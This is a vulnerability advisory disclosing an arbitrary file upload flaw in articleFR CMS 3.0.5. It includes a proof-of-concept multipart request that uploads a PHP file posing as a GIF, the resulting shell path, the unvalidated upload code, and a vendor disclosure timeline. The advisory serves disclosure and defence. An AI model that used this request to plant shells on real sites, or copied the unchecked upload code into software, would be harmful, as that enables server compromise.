articleFR CMS 3.0.5 Arbitrary File Upload

2015.01.22
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

#Vulnerability title: Arbitrary File Upload in articleFR CMS 3.0.5 #Product: articleFR CMS #Vendor: http://freereprintables.com #Affected version: version 3.0.5 #Download link: https://github.com/articlefr/articleFR #Fixed version: N/A #Author: Tran Dinh Tien (tien.d.tran@itas.vn) & ITAS Team (www.itas.vn) ::DESCRITION:: - Vulnerabilities related to the upload of unexpected file types is unique in that the upload should quickly reject a file if it does not have a specific extension. Additionally, this is different from uploading malicious files in that in most cases an incorrect file format may not by it self be inherently "malicious" but may be detrimental to the saved data. - The application may be expecting only certain file types to be uploaded for processing, such as mpeg4, ogv, ogg, 3gp, webm, gif, mkv, flv, drc, mng, avi,... files. The application may not validate the uploaded file by extension (for low assurance file validation) or content (high assurance file validation). ::PROOF OF CONCEPT:: - REQUEST: POST /articlefr/dashboard/videouploader.php HTTP/1.1 Host: target.org User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://target.org/articlefr/dashboard/videos/fileupload/ Content-Length: 414 Content-Type: multipart/form-data; boundary=---------------------------277651700022570 Cookie: GEAR=local-5422433b500446ead50002d4; PHPSESSID=uc86lsmbm53d73d572tvvec3v4; _ga=GA1.2.884814947.1419214773; __unam=bd22dea-14a6fcadd31-42cba495-9; _gat=1 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache -----------------------------277651700022570 Content-Disposition: form-data; name="myVideo"; filename="img.php" Content-Type: image/gif <?php phpinfo(); ?> -----------------------------277651700022570 Content-Disposition: form-data; name="" undefined -----------------------------277651700022570 Content-Disposition: form-data; name="" undefined -----------------------------277651700022570-- - RESPONSE: HTTP/1.1 200 OK Date: Mon, 22 Dec 2014 03:10:30 GMT Server: Apache/2.2.15 (Red Hat) Content-Type: text/html Vary: Accept-Encoding Accept-Ranges: none Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Length: 36 [String_Random].php - Shell link: http://target.org/articlefr2/dashboard/videos/[String_Random].php - Vulnerable file: articlefr/dashboard/videouploader.php - Vulnerable code: <?php $output_dir = dirname(dirname(__FILE__)) . "/videos_repository/"; if(isset($_FILES["myVideo"])) { $ret = array(); $error =$_FILES["myVideo"]["error"]; if(!is_array($_FILES["myVideo"]["name"])) { $fileName = $_FILES["myVideo"]["name"]; $extension = pathinfo($fileName, PATHINFO_EXTENSION); $newFileName = md5(uniqid() . $fileName) . '.' . $extension; move_uploaded_file($_FILES["myVideo"]["tmp_name"], $output_dir.$newFileName); $ret[]= $newFileName; } echo $newFileName; } ?> ::DISCLOSURE:: + 12/09/2014: Contact to vendor - vendor did not reply + 12/11/2014: Contact to vendor - vendor did not reply + 12/22/2014: Contact to vendor - vendor replied + 12/23/2014: Send the detail vulnerability to vendor - vendor did not reply + 01/21/2015: Public information ::REFERENCE:: - http://www.itas.vn/news/itas-team-phat-hien-lo-hong-arbitrarily-file-upload-trong-articlefr-cms-71.html ::DISCLAIMER:: THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS, AND AT THE USER'S OWN RISK.

References:

http://www.itas.vn/news/itas-team-phat-hien-lo-hong-arbitrarily-file-upload-trong-articlefr-cms-71.html


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